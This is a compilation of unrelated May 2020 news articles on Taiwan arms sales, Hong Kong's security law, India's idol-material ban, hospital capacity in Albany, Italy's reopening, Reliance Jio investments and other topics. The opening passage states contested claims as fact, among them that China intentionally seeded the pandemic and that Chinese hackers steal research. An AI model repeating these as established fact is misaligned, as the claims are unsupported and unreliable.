Sale of the torpedoes comes at a time that China is at the receiving end of the US disparaging remarks, echoes by other nations, especially that they are the cause of the pandemic. Beginning in Wuhan and later on killing more than 300,000 people, even blaming others to hide its complicity.

President Trump made clear that China started the pandemic, seeded it intentionally, and connived with WHO to create a deadly delay, and made up lies to avoid blame.

At the height of the pandemic, Chinese associated hackers are trying to steal information about COVID-19, especially antiviral information to steal and claim as their research, the CCP will not be hindered at all.

China is changing the narrative to get off the hook, but many doubt its sincerity. Another is China's anger at the praise given to Taiwan.

It is not about $180 million of advance torpedoes, but how China cannot threaten Taiwan as it gets US support.

Related article: US Warships Challenge People's Liberation Army in South China Sea as Tensions Escalate

@ 2022 HNGN, All rights reserved. Do not reproduce without permission.
After years of struggling to tackle pro-democracy protests in Hong Kong, the Chinese Communist Party has decided to impose strict new national security legislation on the city in an attempt to bring it to heel.

The move has met with a new wave of uproar in the semi-autonomous territory, with some anti-Beijing activists saying it threatens the end of Hong Kong.

So what does the law actually change, why are Hong Kongers so angry, and when will it be implemented?

What powers would this law give China in Hong Kong?

Unveiled in full detail on Friday, the law is set to apply to both Hong Kong and Macau, Chinas other semi-autonomous region. It requires the territory to finish enacting national security legislation under its own Basic Law  and also says that when needed, relevant national security organs of the Central Peoples Government will set up agencies to protect the central governments overall jurisdiction.

Why are people in Hong Kong so angry about the law?

The central fear about the law is that it will allow Beijing to establish official full-time security forces in the city with the power to enforce the law  power the central government currently does not have.

Attempts were made by Hong Kong's devolved government to pass similar legislation in 2003, when the perceived attempt to enhance Beijings powers in the city drew half a million Hong Kongers onto the streets.

It was an attempt by Hong Kong's leader Carrie Lam to introduce a new extradition law that sparked the massive protests last year, which led to that particular legislation being withdrawn.

The police violence meted out against protesters was pointed to by the pro-democracy movement as a sign of Chinas real intentions for the region: authoritarian rule under the ultimate authority of the mainland government.

Among other things, the new legislation as written also compels the Hong Kong authorities to carry out national security education  taken by some as an ominous sign that Chinese-style political limitations will start to creep into Hong Kongs schools.

When will the new law take effect?

The next step is for the Chinese National Peoples Congress (NPC) to vote the law through, which its anticipated to do by the end of the month. It will then proceed to the congresss Standing Committee for further work, then be presented at another meeting in June, where it is expected to be approved.

How have other countries reacted?

As the former colonial power in Hong Kong and a party to the agreement under which the city's autonomy was enshrined, the UK will presumably take an opinion on the legislation, but the government has yet to issue a formal statement. Chris Patten, the last British governor of the territory, said the UK should tell China the move is outrageous, and that Beijing is exploiting the diversion created by coronavirus to extend its power in unacceptable ways.

The US is already reviewing the special trading status it grants Hong Kong, and president Donald Trump has said Washington will respond "very strongly" if Beijing proceeds with the new law.

In Congress, Missouri senator Josh Hawley has already introduced a bill that condemns the sweeping national security law and states that it would put China in direct violation of both the Sino-British Joint Declaration and the Hong Kong Basic Law. Another bipartisan bill is reportedly in the works.

This resolution condemns the Chinese Communist Partys premeditated violation of these agreements, said Mr Hawley, and calls on other free nations to join with us. We must stand up to Chinas continued imperialism, and if the Beijing government goes through with this, then we need to be ready to respond strongly, including by reconsidering their trade status."

Pulitzer-winning photographers look back on Hong Kongs protests Show all 20 1 /20 Pulitzer-winning photographers look back on Hong Kongs protests Pulitzer-winning photographers look back on Hong Kongs protests An anti-extradition bill protester is detained by riot police during skirmishes between the police and protesters outside Mong Kok police station, 2 September, 2019 Photos by Reuters Pulitzer-winning photographers look back on Hong Kongs protests Police fire tear gas and rubber bullets at anti-extradition bill protesters during clashes in the Sham Shui Po district of Hong Kong, 14 August, 2019 Reuters Pulitzer-winning photographers look back on Hong Kongs protests A pro-China demonstrator films herself as an anti-government protester holds up a sign on her phone during skirmishes between the two opposing groups at Yuen Long station in Hong Kong, China, 12 September, 2019. The words on the phone read, "Seek an official reassessment of the June 4 crackdown," referring to the 1989 Tiananmen Square protests Reuters Pulitzer-winning photographers look back on Hong Kongs protests A man sprays paint over the Regional Emblem of Hong Kong after anti-extradition bill protesters stormed the Legislative Council Complex on the 22nd anniversary of the handover from British to Chinese rule, destroying pictures and daubing walls with graffiti on 1 July, 2019 Reuters Pulitzer-winning photographers look back on Hong Kongs protests An anti-government protester, who later identified himself as a university student, is chased by riot policemen after skirmishes at the Chinese University of Hong Kong on 12 November, 2019 Reuters Pulitzer-winning photographers look back on Hong Kongs protests Hundreds of thousands protesters march through the streets of Hong Kong, demanding for it's leaders to step down and withdraw the proposed extradition bill on 16 June, 2019 Reuters Pulitzer-winning photographers look back on Hong Kongs protests A masked anti-government protester, wielding a hammer, attacks a man who bystanders suspected of being a pro-Beijing activist from mainland China, during a protest in the Mong Kok area in Hong Kong on 11 November, 2019. The bloodied man, who suffered major facial and head trauma, was reported to have survived his injuries by local media Reuters Pulitzer-winning photographers look back on Hong Kongs protests Passengers push their luggage past bricks and barriers after anti-government protesters blocked the roads leading to Hong Kong International Airport on 1 September, 2019 Reuters Pulitzer-winning photographers look back on Hong Kongs protests Mall security personnel urges caution as he tries to extinguish a burning Christmas tree at the Festival Walk mall in Kowloon Tong on 12 November, 2019. The property suffered damage after anti-government protesters stormed the shopping centre Reuters Pulitzer-winning photographers look back on Hong Kongs protests A woman looks out from the window of a residence as tens of thousands of demonstrators march through Hong Kong on 20 October, 2019, demanding autonomy and for its leaders to step down weeks after the formal withdrawal of an extradition bill Reuters Pulitzer-winning photographers look back on Hong Kongs protests Hundreds of anti-government protesters gather after climbing to the peak of Lion Rock as a lighted sign is held high in the air, in Hong Kong on 13 September, 2019 Reuters Pulitzer-winning photographers look back on Hong Kongs protests A child sits in carrier wearing a mask as anti-government protesters hold hands to form a human chain in a sign of solidarity in Kowloon Bay on 30 November, 2019 Reuters Pulitzer-winning photographers look back on Hong Kongs protests Anti-government protesters are detained during skirmishes between the police and protesters in Admiralty district, Hong Kong on 29 September, 2019 Reuters Pulitzer-winning photographers look back on Hong Kongs protests Hong Kong's Chief Executive Carrie Lam pauses while holding a news conference in Hong Kong on 27 August, 2019. On September 4, Lam announced the formal withdrawal of the extradition bill Reuters Pulitzer-winning photographers look back on Hong Kongs protests Anti-extradition bill protesters use slingshots to hurl bricks as they clash with riot police during a demonstration to demand democracy and political reforms, in the market town of Tsuen Wan, located in Hong Kong on 25 August, 2019 Reuters Pulitzer-winning photographers look back on Hong Kongs protests Customers cautiously exit an eyeglass store past a burning molotov cocktail as demonstrators clash with riot policemen during a march billed as a global "emergency call" for autonomy, in Hong Kong on 2 November, 2019 Reuters Pulitzer-winning photographers look back on Hong Kongs protests Demonstrators protesting the proposed extradition bill aim their flashlights towards riot police as they are chased through the streets of Hong Kong on 25 August, 2019 Reuters Pulitzer-winning photographers look back on Hong Kongs protests A restaurant worker receives help from volunteers as patrons cover their faces after riot police fired tear gas nearby to disperse anti-government protesters taking part in a march billed as a global "emergency call" for autonomy, in Hong Kong on 2 November, 2019 Reuters Pulitzer-winning photographers look back on Hong Kongs protests Anti-government protesters stand in a cloud of tear gas unleashed during a stand off with riot police at the Chinese University of Hong Kong, in Hong Kong on 12 November, 2019 Reuters Pulitzer-winning photographers look back on Hong Kongs protests A man clears debris following the clashes between police and anti-government protester after a two week campus siege of the Polytechnic University in Hong Kong on 16 November, 2019 Reuters

Governments aside, some in the business world are worried that the law could drive capital flight, with major financial players anxious about holding their assets in a territory marked by the clash between increasing authoritarianism and a pro-democracy public. Friday was the worst day of trading for Hong Kong's Hang Seng Index since 2015.

What has China said about the law?

For its part, the Chinese government has framed the law as a necessary step to keep Hong Kong secure and orderly. The vice chairman of the NPC, Wang Chen, stated this week that recent events in the region  that is, the popular protests  need to be stopped, punished and prevented from recurring.

However, he also insisted that the law is intended to uphold the one country, two systems principle under which Hong Kong has so far officially operated.
The union environment ministry on Friday withdrew its proposed ban on the use of Plaster of Paris (PoP) for making idols in 2020

Environment minister Prakash Javadekar said that the decision to postpone the ban by one year was taken to help artisans but environmentalists criticised the government, saying that PoP was harmful to the environment.

The ban on PoP for the Ganesh idol has been postponed for one year. This will not harm those artisans who have already made their idols this year, Javadekar tweeted on Friday.

On May 13, the Central Pollution Control Board (CPCB) published guidelines on banning the use of PoP, thermocol, and single-use plastic for making idols across India while encouraging the use of biodegradable and less toxic materials. Even dyes and toxic chemicals used to colour the idols were proposed to be banned for future use.

Based on submissions from various parts of the country about different festivals, especially Maharashtra, where idol makers have already purchased large quantities of PoP, we have lifted the ban just for this year. Considering the Covid-19 crisis and difficult economic situation, the decision was taken. Idol makers are directed to avoid the use of chemicals and dyes as much as possible this year, said a senior official from the Ministry of Environment, Forests and Climate Change. This is a temporary decision, and the ban will be implemented from 2021.

Made from Gypsum, which is heated up to 150 degrees Celsius, PoP contains chemicals such as sulphur, phosphorus and magnesium. It is also used for making casts for broken bones. It costs the cheapest (Rs. 500 to 1000 for a small household idol) among all materials, but it remains in the environment for a long time, with potential harm to aquatic life.

The umbrella body of Ganesh mandals in the city, Brihanmumbai Sarvajanik Ganeshotsav Samanvay Samiti (BSGSS), had requested the Maharashtra government and the Centre to allow the use of plaster of Paris (PoP) during this years festival. Acquiring large quantities of clay, which is very expensive, will be very difficult during lockdown for artisans. We welcome the Centres decision to ensure idol makers are not harmed during this tough period. We have directed mandals to celebrate a simple festival this year, said Naresh Dahibhavkar, president, BSGSS.

This year 2.32 lakh large and household idols are slated to be made in Mumbai, Dahibhavkar said. Of this 15% will be eco-friendly, made from clay and paper, while the remaining will be made up of PoP. About 10% of 2.32 lakh idols have already been made, said Dahibhavkar.

Marine biologists said PoP was never the choice for idol makers historically. It has always been clay (shadu) idols not only for Ganeshotsav but other festivals as well. PoP takes months to break down and dissolve, destroying the marine ecosystem and considering the Covid-19 pandemic, it is our duty to be more sensitive to the environment. Lifting the ban is a bad idea, said Vinay Deshmukh, marine biologist and former scientist, Central Marine Fisheries Research Institute (CMFRI).

Environmentalists pointed out that the CPCB had revised its guidelines after 10 years based on an order passed by the Nagpur bench of the Bombay high court (HC) discouraging the use of PoP. The Centre does not have the authority to override the HCs decision, which was in the interest of the environment. Historically, the size of the idol (during Lokmanya Tilaks time when the festival was first celebrated in the current form) was not more than nine inches. The priority of the ministry should be the opposite of the decisions it is currently taking, said Anand Pendharkar, wildlife biologist, Sprouts Environment Trust.

Use of PoP In Mumbai during Ganeshotsav

An average of 11,000 large (for public places) idols and 1.6 lakh household idols are made every year using PoP. The use of thermocol and plastic was disallowed by the umbrella body of Ganesh mandals last year. An average of 75 large idols and 40,000 household idols are made using clay while 250 paper idols are made annually during the 11-day Ganeshotsav festival. Lalbaugcha Raja, Mumbai Cha Raja Ganesh Galli, Andhericharaja, Fortcha Icchapurti and many other popular idols have been using PoP annually for almost a decade. Last year 2.11 lakh idols were immersed across 129 immersion spots in Mumbai. The figure was 2.03 lakh in 2018, 1.92 lakh in 2017, and 2.09 lakh in 2016. The percentage of eco-friendly idols increase from 2% to 5% over four years with a maximum increase in paper idols being adopted by mandals.

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Appointment of Non-Executive Director

Perth, May 22, 2020 AEST (ABN Newswire) - Blackham Resources Ltd ( ASX:BLK ) ( FRA:NZ3 ) ( OTCMKTS:BKHRF ) is pleased to announce that Ms Sara Kelly has been appointed as an independent non-executive director of the Company.Sara Kelly is a corporate lawyer and Partner at Edwards Mac Scovell Legal (a Perth based law firm), and has significant transactional and industry experience having both worked in private practice as a corporate advisor and as in-house counsel.Sara's experience includes the administration of regulatory frameworks and processes in a listed company environment, acquisitions, takeovers, capital raisings and listing of companies on ASX and AIM.Blackham's Executive Chairman, Mr Milan Jerkovic said "We are very pleased to welcome Sara Kelly to the Board of Blackham. In addition to her strong background in corporate and governance matters, Sara's legal and transactional experience will be of significant benefit to the Company as it pursues its expansion plans."About Wiluna Mining Corporation Ltd

Wiluna Mining Corporation (ASX:WMC) (OTCMKTS:WMXCF) is a Perth based, ASX listed gold mining company that controls over 1,600 square kilometres of the Yilgarn Craton in the Northern Goldfields of WA. The Yilgarn Craton has a historic and current gold endowment of over 380 million ounces, making it one of most prolific gold regions in the world. The Company owns 100% of the Wiluna Gold Operation which has a defined resource of 8.04M oz at 1.67 g/t au. In May 2019, a new highly skilled management team took control of the Company with a clear plan to leverage the Wiluna Gold Operation's multi-million-ounce potential.
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The airline stocks gained further on May 22 as Jet Airways, SpiceJet and InterGlobe Aviation rose 3-5 percent in early trade post Civil Aviation Ministry allowed resumption of domestic flights beginning May 25.

The flights were suspended since March 25, when the first phase of the national lockdown was announced to control the outbreak of novel coronavirus, or COVID-19.

The flight operations will resume on May 25 with one-third the schedule, with most airports expected to be open for service.

However, Civil Aviation Ministry has capped the airfares on major routes with an intention to allow air services to resume without any massive drop or rise in prices.

InterGlobe Aviation will be resuming domestic flight operations in a phased manner, in accordance with the directions issued by the Government of India through the Ministry of Civil Aviation and the Directorate General of Civil Aviation, from time to time, company said in the press release.

At 09:23 hrs SpiceJet was quoting at Rs 45.05, up Rs 2.10, or 4.89 percent and Jet Airways was quoting at Rs 21.30, up Rs 1.00, or 4.93 percent on the BSE.

Interglobe Aviation was quoting at Rs 1,014.80, up Rs 36.55, or 3.74 percent on the BSE.
Record Labels Industry Association of Korea (LIAK) will hold a seminar on June 11. gettyimagesbank



By Dong Sun-hwa



The Record Labels Industry Association of Korea (LIAK) will hold a seminar on June 11 to discuss measures to mitigate fallout from the coronavirus (COVID-19). The seminar is scheduled to take place at Seoul Music Center in Eunpyeong-gu, and any industry insiders can take part.



"As the virus has been taking a toll on the music industry since its outbreak early this year, we will look for solutions to the current situation based on different voices," the association said in a statement, Friday. "We expect the seminar will help revitalize the market and let our consumers continue to enjoy a cultural life."



Participants will also look for ways to cope with a possible second wave of the virus.



On May 6, LIAK released a statement calling for the government to come up with policies to support the virus-affected industry. More than 210 performances nationwide were called off or postponed between February to April following the pandemic, the association said on May 1. It added that the total cost of the damage was more than 63 billion won ($51 million).



LIAK is a non-profit trade organization established by leading music labels here in 2012. It aims to protect the interests of its members and introduce a wide range of music to the Korean music market for balanced development.


Financial services company JTC has made two senior appointments on foot of its acquisition of corporate services firm Cornerstone in Dublin.

JTC has named Ronan Reilly as managing director. His prior roles include MD at Law Debenture, as well as senior roles at both Walkers and TMF Group. He brings experience in capital markets, aircraft, hedge funds, corporate taxation and structuring.
Hollywood star Scarlett Johansson says her upcoming film "Black Widow" is a film of depth, a feat the team could not have attempted in the initial days of the Marvel Cinematic Universe.

After 10 years and seven films of playing the Russian superspy Avenger Natasha Romanoff aka Black Widow, Johansson is set to star in a prequel stand-alone in the MCU.

"It's a film very much about self-forgiveness and accepting decisions that were made for you. It's much deeper than anything we could have done earlier," the actor told Parade.

Directed by Cate Shortland, "Black Widow" also stars David Harbour, Rachel Weisz, and Florence Pugh.

Speaking about the dynamic between the characters, Johansson said, "They're not family, because (Natasha) has no family, but they're assigned familial roles."



The superhero film was scheduled to hit the theatres on May 1 but the release was pushed to November 6 owing to the coronavirus pandemic.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
ALBANY  Albany Medical Center warned this week that a new state directive forbidding hospitals from discharging COVID-19 patients back into nursing homes until they test negative could cause financial strain and capacity issues for hospitals across the Capital Region.

The warning was issued in part by Dr. Fred Venditti, hospital general director for Albany Med. Hospitals in the region have begun calculating and sharing whats known in the industry as avoidable days, he said. These are days in which a patient remains in the hospital after theyve been medically cleared for discharge.

As of Thursday, a dozen hospitals from across the region had accrued 289 avoidable days as a result of the new state directive, he said. Albany Med alone has accrued 133.

This matters to hospitals because they lose out on revenue they might otherwise have gained if the bed were being used by someone else. It also leaves fewer beds for patients who may actually need them, and impacts the total share of available beds  a metric thats being closely tracked by the state to guide regional reopening.

If it continues to grow, that will create its own set of problems for all of us, Venditti said, referring to the number of avoidable days.

Albany Med spokesman Matt Markham said hospitals are paid a case rate for most admissions  a flat rate that doesnt change based on the number of days a patients in the hospital.

A patient who stays in the hospital longer continues to use services without additional revenue, he said. Worth noting, stable finances enable us to provide our community the comprehensive level of care it expects and deserves.



Hospitals that operate on slim margins have been under enormous financial strain as a result of the coronavirus pandemic, due to lost revenues from elective procedures and surgeries, and lower volume in emergency room and inpatient admissions as people stayed away from what they believed could be hotbeds for the virus.

Nursing home directive

Gov. Andrew Cuomo issued the new directive to hospitals May 10 following weeks of criticism for a March 25 order that instructed nursing homes they couldnt turn away COVID-positive patients. Industry observers believe this may have introduced the virus unnecessarily into facilities that housed vulnerable populations and were uniquely vulnerable to spread.

At the time, cases of coronavirus were surging and beginning to overwhelm hospitals. Refrigerated trucks would soon be brought in to handle overflow from hospital morgues.

The issue at that time was hospital capacity, Cuomo said Wednesday when asked about the nursing home guidance. We were dramatically increasing hospital capacity. If a patient doesnt need an urgent care bed in a hospitalis the best use of a hospital bed to have somebody sit there for two weekswhen they dont need the hospital bed because theyre not urgently ill? Theyre just waiting to test negativewhich can take two weeks and you may need that hospital bed for somebody who may die without it?

As time went on, however, hundreds of nursing homes and long-term care facilities around the state began seeing crisis-level outbreaks. As of Thursday, upwards of 5,800 New York residents had died from the virus in these facilities, and thats not counting residents who were transferred out to hospitals and died there.

The new directive now mandates that hospitals cannot discharge a patient to a nursing home until they test negative for COVID-19. Hospital officials say that can take a while.

We think sometimes  we know in fact  that the COVID-19 test can remain positive well beyond the time the person is even being treated for or theyre sick from it, Albany Med president and CEO Dennis McKenna said.

Venditti said someone may still test positive for the virus 30 to 40 days after they got it, but that at that point its likely dead virus that can no longer infect someone.

The virus gets into your nasal pharynx, you go through your acute illness and it doesnt get completely removed, he said. So you can still measure it through the PCR (polymerase chain reaction) test, which just measures a fraction of the RNA. But theres at least one study out there that says you cant really grow it anymore and so its not live.

On Thursday, McKenna appeared on Rensselaer Countys daily Facebook Live briefing, where he again discussed the issue. County Executive Steve McLaughlin told him its been an ongoing concern of his that nursing homes were forced to accept COVID-19 patients.

I completely appreciate the position you have of please dont send anybody back whos COVID-positive, McKenna said. What we would say is, if we sent them back, we would only do it if we thought it was safe.

Surge capacity

Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years.

More than 70 percent of Albany Meds coronavirus patients this week have been residents of congregate settings, such as group homes and skilled nursing facilities, according to statistics released daily by the hospital on YouTube.

On Monday, 37 of 47 patients were from congregate settings. On Wednesday, 35 of 48 were. On Thursday, 31 of 44 were.

And a good number of those patients are not acutely ill, Venditti said, of the congregate setting residents.

The state Department of Health confirmed Thursday that patients who are stuck in the avoidable day holding pattern count toward the regions reopening metrics.

As part of the states regional reopening plan, hospitals must have at least 30 percent of beds (total and intensive care unit) available at all times in the event a region experiences a new surge in infections. As of Thursday, 33 percent of the Capital Regions hospital beds were available and 46 percent of its ICU beds were.

On Rensselaer Countys broadcast Thursday, McKenna disputed that his hospital needs that much of a cushion in order to be ready for an influx of new COVID patients.

We believe from experience that we could run the hospital at 95 percent capacity or greater, he said. Weve done that at other times.

The hospital is licensed to run at 766 beds. At its low point during the pandemic, with elective cases postponed and fewer non-COVID admissions, it had just over 400 beds full. That number has since climbed above 500.

So were making our way back, but still have significant way to go, McKenna said.

Asked what the hospital would do if it hits capacity and has beds full of recovered nursing home residents, Markham, the hospital spokesman said:

At this time, we are unaware of any alternative site to relocate patients in the event of a surge or the need to increase capacity for routine care in our hospitals.

In an email to the Times Union, the state Department of Health defended the 30 percent capacity threshold hospitals are required to have, and said it would help hospitals in the event they run out of capacity.

"Our priorities remain the same as they have been from the beginning  promoting and protecting the health and wellbeing of all New Yorkers," department spokeswoman Jill Montag said. "We are ensuring the healthcare network maintain stability in the event of a surge and that is why we are requiring hospitals maintain at least 30% capacity and build additional supplies and PPE and bed surge capacity in the case of another wave in the fall. In the event hospitals are unable to manage their capacity we will work with hospitals to balance their patient load with another facility."
By Agnieszka Barteczko and Anna Koper

WARSAW (Reuters) - State-run JSW said it had increased output of coking coal and should benefit from a price upturn once an easing of lockdowns stimulates demand, as it sought to reassure investors following a first-quarter loss and a more than 5% share price fall.

Poland's JSW is the European Union's biggest producer of coking coal, which is of higher value than thermal coal because of its usefulness in steelmaking.

In the first quarter, it said its coking coal production rose to 3.2 million tonnes from 2.4 million tonnes in Q1 2019, while sales to external clients rose to 1.5 million tonnes from 1.45 million as it expands into foreign markets.

At the same time, thermal coal output fell to 896,000 tonnes from just over a million tonnes a year ago. Poland is heavily dependent on thermal coal for its power, but is seeking to shift to greener sources.

"We expect that with the unfreezing of the economies happening around the world, there is a chance that the prices will be better ... It seems to us that we are above the bottom," Chief Executive Wlodzimierz Herezniak told a conference on Friday when asked about coking coal prices.

Prices fell by more than 10% in the first quarter when JSW suffered a 212 million zlotys ($51.15 million) net loss compared to the 32 million zlotys loss expected by analysts.

On Friday its shares traded 5.7% lower at 1345 GMT, recovering from an earlier dive of nearly 9%. The wider market was around 0.5% lower.

JSW's management, which usually provides full year output and capex guidance, declined to do so.

Analysts saw little evidence yet of any price rally.

"I do not see clear signals of a coking coal price rebound. The first effects may be visible when there is information about some stimulus in the construction industry," Lukasz Rudnik, analyst at Trigon brokerage, said.

(Reporting by Agnieszka Barteczko and Anna Koper; editing by Barbara Lewis)
Source: Xinhua| 2020-05-22 05:54:19|Editor: huaxia

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DUBLIN, May 21 (Xinhua) -- Irish Prime Minister Leo Varadkar said on Thursday that time to reopen society and business faster is not ripe yet though the pandemic situation in the country has improved.

Speaking in a local radio program, Varadkar said that phases in the roadmap for reopening society and business will only be fast-tracked if the data says it is "safe to do so", according to Irish national radio and television broadcaster RTE.

Varadkar's remarks came amid mounting pressures from various business bodies in the country calling for earlier reopening of their business than scheduled.

A recent survey shows that 40 percent of pubs and bars in Dublin are planning to reopen their businesses at the end of June instead of late July or early August as it is ruled in the government's roadmap for reopening the country's social and economic lives.

Earlier this month, the Irish Hairdressers Federation also called on the government to allow hairdressers to reopen their businesses at the end of June instead of late July.

"People are now offering to pay up to four times the normal price for a haircut on the black market," said the organization, adding that both hairdressers and customers cannot afford to wait for such a long time as the hairdressers have been locked down since the end of March.

In a Thursday speech to the lower house of the Irish parliament, Varadkar said that the government won't accelerate the steps in lifting the restrictions until early June when the first phase in easing the lockdown measures is supposed to come to an end.

"If things go well, it can be accelerated. But we simply cannot make that call at the moment," he said.

The Irish government has announced that society and business reopened starting from May 18 in five phases with each phase to be reviewed at a three-week interval.

In another development, Irish Minister for Health Simon Harris said on Thursday that the reproductive rate of COVID-19 in the country has remained stable at about 0.5 for the past consecutive weeks.

The reproductive rate refers to the number of people infected by a virus carrier.

Ireland reported its first confirmed case of COVID-19 at the very end of February. The government locked down the country at the end-March.

To date, 24,391 people have been infected with the virus in Ireland, 1,583 of them have died from the virus-caused disease, said the Irish Department of Health. Enditem
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Linkedin Alexandria Sage (Agence France-Presse) Rome, Italy  Fri, May 22, 2020 07:45 608 fc6853813033f564188675f8bd983a5f 2 World Italy,nightlife,party,coronavirus,COVID-19,COVID-19-lockdown,post-lockdown,virus-corona,SARS-CoV-2,infection,infectious-diseases,pandemic Free

The sun is shining and it feels like summer. For many Italians, that means one thing -- Aperol spritzes at a terrace cafe with friends.

But just days after most coronavirus lockdown restrictions were lifted, authorities are saying not so fast.

From Palermo to Turin, images of partygoers gathering in piazzas and outside bars have caused panic among regional leaders and mayors.

They worry that crowds of mostly young people celebrating their freedom from quarantine may bring about another rise in infections of a disease that has already killed more than 32,000.

Prime Minister Giuseppe Conte, who took a tough line at the start of the crisis by putting his country of 60 million people under lockdown in early March, sounded like a nagging parent on Thursday as he spoke to parliament.

"It's not the time for parties, nightlife or gatherings," Conte said. "During this phase, more than ever it's fundamental to respect security distances and wear masks, where necessary."

'Moment of freedom'

In the northern city of Padua, photos of dozens of young people packed together without masks outside a bar raised the ire of regional president Luca Zaia.

"In 10 days, I'll see the infection rates. If they rise, we'll close bars, restaurants, beaches and we'll lock ourselves back up again," he warned. "No one wants to ban spritzes but I'm asking that we avoid gatherings and we wear masks until June 2."

Zaia said his Veneto region planned to make a short film showing "what it means to go for a spritz without a mask".

Similar scenes with hundreds of young people have been seen in Palermo in Sicily, in Turin in the northwest and Bari in the south, among other cities.

In Rome, a bar owner in the popular nightlife zone of Trastevere, Alessandro Pulcinelli, told AFP that young people out at night have been lingering until about 1:00 am.

"They think they've done everything they needed to and now it's the moment of freedom," said Pulcinelli. "They've got masks, but they don't wear them. It's hard to drink and talk with them."

On the eve of the reopening of restaurants and bars, the mayor of Bergamo, an epicenter of the virus in the northern region of Lombardy, said he had already seen "so many people who are not careful enough" during a walk through the city.

"Are hundreds of deaths in our city not enough? Do we want to find ourselves in trouble once again in a month?" Mayor Giorgio Gori wrote Sunday on his Facebook page.

In Lombardy, masks in public are mandatory.

'Defying death'

In order to encourage more outside seating - because the virus can spread more readily in enclosed spaces - Italy has eliminated a tax paid by cafes and restaurants for tables on the street.

"In exchange, we ask them for a little additional effort to avoid gatherings and possible contagions," Bergamo's Gori said.

Crowded street parties represent "a real withdrawal from reality", psychoanalyst Caterina Tabasso told the Repubblica newspaper.

"Young people often defy death and these crowded aperitifs can be an example of a sense of omnipotence."

Italy's police, who until now have been charged with keeping people inside their homes, are now expected to perform more frequent patrols of popular nightlife areas.

Fines can range from 400 euros to 3,000 euros ($438 to $3,288).

Padua Police Commissioner Isabella Fusiello told the Stampa newspaper on Thursday that it was not just for the police to keep things under control.

"Those who run public establishments also have responsibilities," Fusiello said, saying that bar owners risked having their licences revoked.

Rome bar owner Pulcinelli said his biggest fear was fines, but that he didn't have any way to make people respect social distancing.

"Tonight, all the bars in Trastevere will be open," Pulcinelli said, adding it would be at its peak.

"I think the police presence will be impressive."

Antonio Decaro, the mayor of Bari, suggested that cafe and bar owners deliver a mask with every cocktail.

"It's unreal to think that law enforcement can control every citizen," Decaro said.
The directors of departments of the economy ministries of Ukraine and Poland, Oleksiy Rozhkov and Jan Pawelec, discussed the dynamics of bilateral economic cooperation in the first quarter of 2020 during a videoconference on May 21, Ukraine's Embassy in Poland has reported on Facebook.

"The directors of departments of the economy ministries of Ukraine and Poland, Oleksiy Rozhkov and Jan Pawelec, have discussed the dynamics of trade and economic cooperation, which demonstrated growth in the first quarter of 2020, investment cooperation, problematic issues and ways to resolve them, as well as prospects for holding the seventh meeting of the Ukrainian-Polish intergovernmental commission on economic cooperation in Kyiv in the autumn of 2020 at the level of deputy prime ministers," the report reads.

The embassy said that in the first quarter of 2020, Poland remained the fourth largest trading partner of Ukraine in the world after China, Germany and Russia with bilateral trade in goods exceeding $1.77 billion (an increase of 0.5% compared to the same period in 2019). Poland is also the second largest market in the world after China for Ukrainian exports of goods with more than $820 million (up 1%; 6.7% of total Ukrainian exports).

op
Bill Hanage, an epidemiologist at the Harvard T.H. Chan School of Public Health, said mixing the two numbers would distort the picture of the coronavirus outbreak in various parts of the country. In most places outside of New York City, the center of the outbreak in the United States, the proportion of people who have been exposed to the virus, and who would produce a positive result on an antibody test, is likely to be lower than 10 percent.

What that means is that those tests are more likely to come back negative, which means that you could end up with a misleading picture overall, he said. Youll think there is less disease there than there actually is. That is not something that is going to be helpful, to say the least.

The mixing of the results was first reported by The Atlantic and local news outlets, like The Richmond Times-Dispatch, The Texas Observer, The Columbus Ledger-Enquirer and WLRN, a radio station in Miami. Virginia first faced criticism for combining its test results this month, but has since stopped the practice, effective May 14, the states health department said on Friday.

Clark Mercer, the chief of staff for Gov. Ralph Northam of Virginia, a Democrat, initially defended the strategy last week at a news conference, saying that it was important for the state to report totals that included antibody tests in order to be ranked properly compared with other states.

If we are going to be compared to all 50 states, he said, I want to make sure it is apples to apples.

But a few days later, Mr. Northam, who is a physician, said he had only recently learned that the data was being combined and had since directed the health department to disaggregate the results. Serology, or antibody, tests accounted for 9 percent of tests in Virginia, Mr. Northam said  a figure that Dr. Lilian Peake, the Virginia state epidemiologist, said would not have drastically changed the states overall results.

For the 20 years that Ive been a public health leader, weve never focused on testing, and this is a new virus, so we are still learning about it, Dr. Peake said Friday. The tests are being developed, and we are still learning how to interpret them.
Syracuse, N.Y.  The Syracuse City School District is joining the growing list of districts across the region and state that are ending the school year early.

The about 20,000 students who attend the Syracuse district, the largest in Central New York, will finish the year on June 16, district spokesman Michael Henesey confirmed Friday. The school year was originally set to end on June 25.

Other Central New York districts, as well as districts across the state, are ending the school year early.

Liverpool, West Genesee and Jordan-Elbridge schools will wrap up the school year on June 16. Marcellus will end June 15, while Jamesville-DeWitt will end June 18.

The move is meant to save districts money.

School buildings were shut down in March to stem the spread of the coronavirus, forcing teachers to teach and students to learn from home.

Teachers were required to teach through spring break this year, working five more days than most of their contracts called for, said Robert Lowry, New York Council of School Superintendents deputy director for advocacy and communications. If districts dont end the school year early, theyll have to pay teachers more for working a longer school year, he said.

Due to the coronavirus pandemic, Gov. Andrew Cuomo ordered schools to continue online learning through the spring break for continuity of education and to make sure schools provided meals for students from low-income families. Officials also worried students and families on break might tend to not follow social distancing practices.

MORE ON CORONAVIRUS

Coronavirus in NY: Cases, maps, charts and resources

Can store owners require you to wear a face mask to enter?

No in-person summer school in NY; too early for decision on fall, Cuomo says

Ask Syracuse.com: When can we visit the parents? When will the DMV, gyms reopen?

Complete coronavirus coverage on syracuse.com

Staff writer Samantha House covers breaking news, crime and public safety for Syracuse.com | The Post-Standard. Have a tip or a story idea? Contact her at shouse@syracuse.com.
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KKR to invest Rs 11,367 crore in Reliance Jio for 2.32% stake



Private equity firm KKR is set to invest Rs 11367 crore in Jio Platforms for a 2.32% stake. This will be the fifth investment in the Reliance IndustriesNSE -0.25 % Ltd (RIL) business in rapid succession, following those by social media major Facebook, private equity funds Silver Lake, Vista Equity Partners and General Atlantic. Analysts expect more such deals to take place.



In KKRs largest investment in Asia, the transaction values Jio Platforms at an equity value of Rs 4.91 lakh crore and an enterprise value of Rs 5.16 lakh crore. Jio Platforms had raised Rs 67,194.75 crore from leading technology investors including Facebook, Silver Lake Partners, Vista Equity Partners and General Atlantic as part of the plan to make RIL net debt-free before March 31, 2021.



Facebook said on April 22 it would invest $5.7 billion for a 9.99% stake.



